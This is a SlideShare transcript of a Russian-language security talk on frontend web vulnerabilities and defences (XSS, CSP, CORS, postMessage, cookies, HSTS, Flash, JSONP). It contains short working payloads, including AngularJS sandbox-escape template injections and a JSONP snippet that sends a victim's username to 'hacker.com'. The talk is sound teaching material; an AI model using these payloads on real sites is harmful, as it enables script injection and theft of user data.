Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
(Не)безопасный  frontend
Сергей  Белов

аудитор  ИБ  Digital  Security
#  whoami
©  2002—2015,  Digital  Security 2
(Не)безопасный  frontend
Work/Activity  
BugHuting  
Speaker
О  чём  разговор?
©  2002—2015,  Digital  Security 3
(Не)безопасный  frontend
SOP  
Same  Origin  Policy  
scheme://domain...
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 4
(Не)безопасный  frontend
Межсайтовый  скриптинг
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 5
(Не)безопасный  frontend
Межсайтовый  скриптинг  (XSS)  
▪ Храни...
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 6
(Не)безопасный  frontend
document.write("Site is at: " + documen...
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 7
(Не)безопасный  frontend
Sources  
▪  document.URL  
▪  location...
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 8
(Не)безопасный  frontend
Sinks  
▪  eval  
▪  document.write  
▪...
Межсайтовый  скриптинг
©  2002—2015,  Digital  Security 9
(Не)безопасный  frontend
Утечки  информации
©  2002—2015,  Digital  Security 10
(Не)безопасный  frontend
Утечки  информации
©  2002—2015,  Digital  Security 11
(Не)безопасный  frontend
testServer = host.match(/[^.]+.((?:f|my.XXX)d*).YYY.ru/)
devS...
MVC  фреймворки
©  2002—2015,  Digital  Security 12
(Не)безопасный  frontend
MVC  фреймворки
MVC  фреймворки
©  2002—2015,  Digital  Security 13
(Не)безопасный  frontend
MVC  фреймворки
©  2002—2015,  Digital  Security 14
(Не)безопасный  frontend
Фреймворки  помогают  расширить  работу  с  D...
MVC  фреймворки
©  2002—2015,  Digital  Security 15
(Не)безопасный  frontend
Logic-­‐less  templates  
<ul>
<li ng-repeat=...
MVC  фреймворки
©  2002—2015,  Digital  Security 16
(Не)безопасный  frontend
Фигурные  скобки  
<ul>
<li ng-repeat="phone ...
MVC  фреймворки
©  2002—2015,  Digital  Security 17
(Не)безопасный  frontend
{Logic-­‐less  templates.  
http://mustache.g...
JSMVC  фреймворки
©  2002—2015,  Digital  Security 18
(Не)безопасный  frontend
MVC  фреймворки
©  2002—2015,  Digital  Security 19
(Не)безопасный  frontend
•VueJS  
•AngularJS  
•CanJS  
•Underscore.js...
MVC  фреймворки
©  2002—2015,  Digital  Security 20
(Не)безопасный  frontend
Mustache  Security  
AngularJS  (1.1.5)  –  М...
MVC  фреймворки
©  2002—2015,  Digital  Security 21
(Не)безопасный  frontend
Mustache  Security  
AngularJS  (1.2.18)  –  ...
MVC  фреймворки
©  2002—2015,  Digital  Security 22
(Не)безопасный  frontend
Обновление  фрейморков  важно  для  
  безопа...
Cookies
©  2002—2015,  Digital  Security 23
(Не)безопасный  frontend
Cookies
Cookies
©  2002—2015,  Digital  Security 24
(Не)безопасный  frontend
Обычно
<?php
setcookie('foo','bar1');  
?>  
import C...
Cookies
©  2002—2015,  Digital  Security 25
(Не)безопасный  frontend
Правильно:  
1) Указывать  домен  для  установки  coo...
Переход  на  HTTPS
©  2002—2015,  Digital  Security 26
(Не)безопасный  frontend
Переход  на  HTTPS
Переход  на  HTTPS
©  2002—2015,  Digital  Security 27
(Не)безопасный  frontend
Server  side:  
• Выбор  сертификата  
• Н...
Переход  на  HTTPS
©  2002—2015,  Digital  Security 28
(Не)безопасный  frontend
Client  side  
• Запрещаем  заходить  по  ...
Безопасность  HTML5
©  2002—2015,  Digital  Security 29
(Не)безопасный  frontend
Безопасность  HTML5
Безопасность  HTML5
©  2002—2015,  Digital  Security 30
(Не)безопасный  frontend
otherWindow.postMessage(message, targetOr...
Безопасность  HTML5
©  2002—2015,  Digital  Security 31
(Не)безопасный  frontend
Window.postMessage()
if(message.orgin.ind...
Безопасность  HTML5
©  2002—2015,  Digital  Security 32
(Не)безопасный  frontend
HTTP  access  control  (CORS)
1) Модно  
...
Безопасность  HTML5
©  2002—2015,  Digital  Security 33
(Не)безопасный  frontend
Cross-­‐origin  resource  sharing  (CORS)...
Безопасность  HTML5
©  2002—2015,  Digital  Security 34
(Не)безопасный  frontend
Cross-­‐origin  resource  sharing  (CORS)...
Безопасность  HTML5
©  2002—2015,  Digital  Security 35
(Не)безопасный  frontend
Web  Sockets
1) Нет  авторизации  
2) WSS...
Безопасность  HTML5
©  2002—2015,  Digital  Security 36
(Не)безопасный  frontend
Content  Security  Policy
Указывает  брау...
Безопасность  HTML5
©  2002—2015,  Digital  Security 37
(Не)безопасный  frontend
Безопасность  HTML5
©  2002—2015,  Digital  Security 38
(Не)безопасный  frontend
Обход  
1) Возможность  загружать  файлы ...
Flash
©  2002—2015,  Digital  Security 39
(Не)безопасный  frontend
Flash
Flash
©  2002—2015,  Digital  Security 40
(Не)безопасный  frontend
Магический  crossdomain.xml
Самый  частый  случай
Flash
©  2002—2015,  Digital  Security 41
(Не)безопасный  frontend
Магический  crossdomain.xml
Чуть  реже  
•  Множество  ...
Flash
©  2002—2015,  Digital  Security 42
(Не)безопасный  frontend
XSS  через  Flash  -­‐  пример  с  getURL  
Уязвимый  к...
Flash
©  2002—2015,  Digital  Security 43
(Не)безопасный  frontend
CVE-­‐2011-­‐2461  IS  BACK!  
1)  SWF  должен  быть  с...
Flash
©  2002—2015,  Digital  Security 44
(Не)безопасный  frontend
CVE-­‐2011-­‐2461  IS  BACK!  
Для  проверки  можно  ис...
Раскрытие  информации  через  JSONP
©  2002—2015,  Digital  Security 45
(Не)безопасный  frontend
Раскрытие  информации  
ч...
Раскрытие  информации  через  JSONP
©  2002—2015,  Digital  Security 46
(Не)безопасный  frontend
JSONP  leaks
©  2002—2015,  Digital  Security 47
(Не)безопасный  frontend
JSONP  leaks
©  2002—2015,  Digital  Security 48
(Не)безопасный  frontend
http://habrahabr.ru/post/186160/
<script>
functi...
X-­‐Frame-­‐Options
©  2002—2015,  Digital  Security 49
(Не)безопасный  frontend
X-­‐Frame-­‐Options
X-­‐Frame-­‐Options
©  2002—2015,  Digital  Security 50
(Не)безопасный  frontend
X-­‐Frame-­‐Options  в  ответе  веб-­‐сер...
X-­‐Frame-­‐Options
©  2002—2015,  Digital  Security 51
(Не)безопасный  frontend
Extensions  /  SmartTV
©  2002—2015,  Digital  Security 52
(Не)безопасный  frontend
Extensions  /  SmartTV
Extensions  /  SmartTV
©  2002—2015,  Digital  Security 53
(Не)безопасный  frontend
Расширения  для  браузера?  
-­‐JS/HTM...
Extensions  /  SmartTV
©  2002—2015,  Digital  Security 54
(Не)безопасный  frontend
Extensions  /  SmartTV
©  2002—2015,  Digital  Security 55
(Не)безопасный  frontend
Видео
©  2002—2015,  Digital  Security 56
(Не)безопасный  frontend
На  десерт
©  2002—2015,  Digital  Security 57
(Не)безопасный  frontend
<a href=“http://external.com”>Go!</a>
В  заголовках  будет  
...
©  2002—2015,  Digital  Security 58
(Не)безопасный  frontend
http://super-­‐website.com/user/passRecovery?t=SECRET  
...  ...
     
twitter.com/sergeybelove
sbelov@dsec.ru
      
© 2002—2015, Digital Security
Digital Security в Москве: (495) 223-07...
Upcoming SlideShare
Loading in …5
×

(Не)безопасный Frontend / Сергей Белов (Digital Security)

626 views

Published on

Чем больше выносится данных и действий на Frontend, тем он становится более привлекательным для злоумышленников.

Данный доклад посвящен различным client-side атакам, в том числе, реализуемым через уязвимости во frontend-части веб-приложений:
- DOM Cross Site Scripting;
- Content Security Policy и его обход;
- "мисконфиги" на серверной стороне, позволяющие провести успешные атаки, направленные на браузер пользователя;
- атаки через js-фреймворки;
- правильная установка cookies;
- HSTS;
- HTML5 и безопасность;
- "сложные" случаи эксплуатации client-side уязвимостей;
- и кое-что еще.

Доклад ранее нигде не был представлен.

Published in: Engineering
  • Be the first to comment

(Не)безопасный Frontend / Сергей Белов (Digital Security)

  1. 1. (Не)безопасный  frontend Сергей  Белов
 аудитор  ИБ  Digital  Security
  2. 2. #  whoami ©  2002—2015,  Digital  Security 2 (Не)безопасный  frontend Work/Activity   BugHuting   Speaker
  3. 3. О  чём  разговор? ©  2002—2015,  Digital  Security 3 (Не)безопасный  frontend SOP   Same  Origin  Policy   scheme://domain:port   +  усиление  безопасности
  4. 4. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 4 (Не)безопасный  frontend Межсайтовый  скриптинг
  5. 5. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 5 (Не)безопасный  frontend Межсайтовый  скриптинг  (XSS)   ▪ Хранимые  (server  side)   ▪ Отраженные  (server  side)   ▪ DOM  (client  side!)
  6. 6. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 6 (Не)безопасный  frontend document.write("Site is at: " + document.location.href); http://victim.com/action#<script>alert('xss')</script>
  7. 7. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 7 (Не)безопасный  frontend Sources   ▪  document.URL   ▪  location   ▪  document.referrer   ▪  window.name   ▪  localStorage   ▪  cookies   ▪  …      
  8. 8. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 8 (Не)безопасный  frontend Sinks   ▪  eval   ▪  document.write   ▪  (element).innerHTML   ▪  (element).src   ▪  setTimeout  /  setInterval   ▪  execScript   ▪  …     https://code.google.com/p/domxsswiki/   http://habrahabr.ru/company/xakep/blog/189210/  
  9. 9. Межсайтовый  скриптинг ©  2002—2015,  Digital  Security 9 (Не)безопасный  frontend
  10. 10. Утечки  информации ©  2002—2015,  Digital  Security 10 (Не)безопасный  frontend Утечки  информации
  11. 11. ©  2002—2015,  Digital  Security 11 (Не)безопасный  frontend testServer = host.match(/[^.]+.((?:f|my.XXX)d*).YYY.ru/) devServer = host.match(/^.+.dev.YYY.ru$/), isXXX = testServer && testServer[1].indexOf('my.XXX') == 0, ... internalDevHOST = '172.16.22.2'; internalProdHOST = '172.16.22.5'; ... file:///applications/releases.../sidebar.scss Утечки  информации
  12. 12. MVC  фреймворки ©  2002—2015,  Digital  Security 12 (Не)безопасный  frontend MVC  фреймворки
  13. 13. MVC  фреймворки ©  2002—2015,  Digital  Security 13 (Не)безопасный  frontend
  14. 14. MVC  фреймворки ©  2002—2015,  Digital  Security 14 (Не)безопасный  frontend Фреймворки  помогают  расширить  работу  с  DOM   -­‐  Шаблонизаторы   -­‐  Новые  элементы  <rockyou></rockyou>   -­‐  Биндинги  
  15. 15. MVC  фреймворки ©  2002—2015,  Digital  Security 15 (Не)безопасный  frontend Logic-­‐less  templates   <ul> <li ng-repeat="phone in phones"> <span>{{phone.name}}</span> <p>{{phone.snippet}}</p> </li> </ul>
  16. 16. MVC  фреймворки ©  2002—2015,  Digital  Security 16 (Не)безопасный  frontend Фигурные  скобки   <ul> <li ng-repeat="phone in phones"> <span>{{phone.name}}</span> <p>{{phone.snippet}}</p> </li> </ul>
  17. 17. MVC  фреймворки ©  2002—2015,  Digital  Security 17 (Не)безопасный  frontend {Logic-­‐less  templates.   http://mustache.github.io/  
  18. 18. JSMVC  фреймворки ©  2002—2015,  Digital  Security 18 (Не)безопасный  frontend
  19. 19. MVC  фреймворки ©  2002—2015,  Digital  Security 19 (Не)безопасный  frontend •VueJS   •AngularJS   •CanJS   •Underscore.js   •KnockoutJS   •Ember.js Mustache  Security https://code.google.com/p/mustache-­‐security/   •Polymer   •Ractive.js   •jQuery   •JsRender   •Kendo  UI
  20. 20. MVC  фреймворки ©  2002—2015,  Digital  Security 20 (Не)безопасный  frontend Mustache  Security   AngularJS  (1.1.5)  –  Межсайтовый  скриптинг   
 <div class="ng-app">
 {{constructor.constructor('alert(1)')()}}
 </div>
  21. 21. MVC  фреймворки ©  2002—2015,  Digital  Security 21 (Не)безопасный  frontend Mustache  Security   AngularJS  (1.2.18)  –  Межсайтовый  скриптинг,  после   фиксов   
 {{ (_=''.sub).call.call({}[$='constructor'] .getOwnPropertyDescriptor(_.__proto__,$) .value,0,'alert(1)')() }}
  22. 22. MVC  фреймворки ©  2002—2015,  Digital  Security 22 (Не)безопасный  frontend Обновление  фрейморков  важно  для    безопасности!
  23. 23. Cookies ©  2002—2015,  Digital  Security 23 (Не)безопасный  frontend Cookies
  24. 24. Cookies ©  2002—2015,  Digital  Security 24 (Не)безопасный  frontend Обычно <?php setcookie('foo','bar1');   ?>   import Cookie C = Cookie.SimpleCookie()   C["foo"] = "bar" print C   Set-­‐Cookie:  foo=bar
  25. 25. Cookies ©  2002—2015,  Digital  Security 25 (Не)безопасный  frontend Правильно:   1) Указывать  домен  для  установки  cookies   2) HttpOnly  для  сессионных  значений  (phpsessid…)   3) Secure  в  случае  “HTTPS  only”  
  26. 26. Переход  на  HTTPS ©  2002—2015,  Digital  Security 26 (Не)безопасный  frontend Переход  на  HTTPS
  27. 27. Переход  на  HTTPS ©  2002—2015,  Digital  Security 27 (Не)безопасный  frontend Server  side:   • Выбор  сертификата   • Настройка  вебсервера  (ciphersuite  и  т.п.)   • Перенаправление  
  28. 28. Переход  на  HTTPS ©  2002—2015,  Digital  Security 28 (Не)безопасный  frontend Client  side   • Запрещаем  заходить  по  HTTP  –  HSTS   Strict-Transport-Security: max-age=31536000; • Добавляем  свой  ресурс  в  HSTS  preload  list         http://www.chromium.org/hsts  
  29. 29. Безопасность  HTML5 ©  2002—2015,  Digital  Security 29 (Не)безопасный  frontend Безопасность  HTML5
  30. 30. Безопасность  HTML5 ©  2002—2015,  Digital  Security 30 (Не)безопасный  frontend otherWindow.postMessage(message, targetOrigin); Window.postMessage() window.addEventListener("message", receiveMessage, false); function receiveMessage(event) { if (event.origin !== "http://example.org:8080") return; // ... } Домен  A Домен  B
  31. 31. Безопасность  HTML5 ©  2002—2015,  Digital  Security 31 (Не)безопасный  frontend Window.postMessage() if(message.orgin.indexOf(".example.com")!=-1) { /* ... */ } Неправильно! example.com.attacker.com
  32. 32. Безопасность  HTML5 ©  2002—2015,  Digital  Security 32 (Не)безопасный  frontend HTTP  access  control  (CORS) 1) Модно   2) Безопасно   3) Накосячить  очень  сложно  ☺
  33. 33. Безопасность  HTML5 ©  2002—2015,  Digital  Security 33 (Не)безопасный  frontend Cross-­‐origin  resource  sharing  (CORS) В  ответе  веб-­‐сервера:   Access-Control-Allow-Origin: *   Означает  отдавать  контент  всем
  34. 34. Безопасность  HTML5 ©  2002—2015,  Digital  Security 34 (Не)безопасный  frontend Cross-­‐origin  resource  sharing  (CORS)   В  ответе  веб-­‐сервера:   Access-Control-Allow-Origin: *   Означает  отдавать  контент  всем   Но  не  это  правило  не  совместимо  с  заголовком   Access-Control-Allow-Credentials: true 
  35. 35. Безопасность  HTML5 ©  2002—2015,  Digital  Security 35 (Не)безопасный  frontend Web  Sockets 1) Нет  авторизации   2) WSS://  для  важных  данных   3) Валидацию  никто  не  отменял  (сервер/клиент)   4) Проверка  Origin  (не  отменяет  п.  1)   5) …   https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet  
  36. 36. Безопасность  HTML5 ©  2002—2015,  Digital  Security 36 (Не)безопасный  frontend Content  Security  Policy Указывает  браузеру  доверенные  домены  для  различных   ресурсов  (картинки,  js,  css...) X-Content-Security-Policy: script-src js.example.com
  37. 37. Безопасность  HTML5 ©  2002—2015,  Digital  Security 37 (Не)безопасный  frontend
  38. 38. Безопасность  HTML5 ©  2002—2015,  Digital  Security 38 (Не)безопасный  frontend Обход   1) Возможность  загружать  файлы  на  разрешенные   домены  в  CSP  (приложения  в  почте,  сообщениях)   2) Загрузить  js  файл  и  подключить
  39. 39. Flash ©  2002—2015,  Digital  Security 39 (Не)безопасный  frontend Flash
  40. 40. Flash ©  2002—2015,  Digital  Security 40 (Не)безопасный  frontend Магический  crossdomain.xml Самый  частый  случай
  41. 41. Flash ©  2002—2015,  Digital  Security 41 (Не)безопасный  frontend Магический  crossdomain.xml Чуть  реже   •  Множество  доменов,  в  т.ч.  от  старых  названий  и   проектов  (wamba.com  bugbounty  –  3000  рублей)   •  Разрешены  домены  для  приложений  из  соц.  сетей
  42. 42. Flash ©  2002—2015,  Digital  Security 42 (Не)безопасный  frontend XSS  через  Flash  -­‐  пример  с  getURL   Уязвимый  код   getURL(_root.URI,'_targetFrame'); 
 Пример  эксплуатации   http://victim/file.swf?URI=javascript:evilcode getURL('javascript:evilcode','_self'); Больше  про  Cross  Site  Flashing  на  OWASP
  43. 43. Flash ©  2002—2015,  Digital  Security 43 (Не)безопасный  frontend CVE-­‐2011-­‐2461  IS  BACK!   1)  SWF  должен  быть  собран  с  уязвимой  версией  Adobe   Flex   2)  Дает  полный  обход  SOP
  44. 44. Flash ©  2002—2015,  Digital  Security 44 (Не)безопасный  frontend CVE-­‐2011-­‐2461  IS  BACK!   Для  проверки  можно  использовать  ParrotNG   https://github.com/ikkisoft/ParrotNG/   java -jar parrotng_v0.2.jar <SWF File | Directory> Больше  информации   • http://blog.nibblesec.org/2015/03/the-­‐old-­‐is-­‐new-­‐again-­‐cve-­‐2011-­‐2461-­‐is.html   • http://www.slideshare.net/ikkisoft/the-­‐old-­‐is-­‐new-­‐again-­‐cve20112461-­‐is-­‐back  
  45. 45. Раскрытие  информации  через  JSONP ©  2002—2015,  Digital  Security 45 (Не)безопасный  frontend Раскрытие  информации   через  JSONP
  46. 46. Раскрытие  информации  через  JSONP ©  2002—2015,  Digital  Security 46 (Не)безопасный  frontend
  47. 47. JSONP  leaks ©  2002—2015,  Digital  Security 47 (Не)безопасный  frontend
  48. 48. JSONP  leaks ©  2002—2015,  Digital  Security 48 (Не)безопасный  frontend http://habrahabr.ru/post/186160/ <script> function func(obj) { var url = "http://hacker.com/log?val="+obj['username']; $.get(url); } </script> <script src="http://victim.com/api/getUserInfo?callback=func"> </script>
  49. 49. X-­‐Frame-­‐Options ©  2002—2015,  Digital  Security 49 (Не)безопасный  frontend X-­‐Frame-­‐Options
  50. 50. X-­‐Frame-­‐Options ©  2002—2015,  Digital  Security 50 (Не)безопасный  frontend X-­‐Frame-­‐Options  в  ответе  веб-­‐сервера  позволяет   1) Полностью  запретить  показ  страницы  во  фрейме   2) Частично  запретить  (например,  разрешить  только   для  того  же  origin)  
  51. 51. X-­‐Frame-­‐Options ©  2002—2015,  Digital  Security 51 (Не)безопасный  frontend
  52. 52. Extensions  /  SmartTV ©  2002—2015,  Digital  Security 52 (Не)безопасный  frontend Extensions  /  SmartTV
  53. 53. Extensions  /  SmartTV ©  2002—2015,  Digital  Security 53 (Не)безопасный  frontend Расширения  для  браузера?   -­‐JS/HTML/CSS   -­‐  Взаимодействие  с  DOM   -­‐  Неограниченные  XHR  запросы   -­‐  Расширенное  API     Приложения  для  SmartTV  –  тоже  самое.
  54. 54. Extensions  /  SmartTV ©  2002—2015,  Digital  Security 54 (Не)безопасный  frontend
  55. 55. Extensions  /  SmartTV ©  2002—2015,  Digital  Security 55 (Не)безопасный  frontend Видео
  56. 56. ©  2002—2015,  Digital  Security 56 (Не)безопасный  frontend На  десерт
  57. 57. ©  2002—2015,  Digital  Security 57 (Не)безопасный  frontend <a href=“http://external.com”>Go!</a> В  заголовках  будет   Referer: http://yoursite.com/   А  что  в  случае  с  изображениями,  стилями,  JS  файлами?
  58. 58. ©  2002—2015,  Digital  Security 58 (Не)безопасный  frontend http://super-­‐website.com/user/passRecovery?t=SECRET   ...   <img src=http://comics.com/password.jpg> ...     Владелец   comics.com   Знает  все  секретные  токены  (для  сброса  пароля!)
  59. 59.       twitter.com/sergeybelove sbelov@dsec.ru       © 2002—2015, Digital Security Digital Security в Москве: (495) 223-07-86 Digital Security в Санкт-Петербурге: (812) 703-15-47 59 Тестируйте  безопасность!

×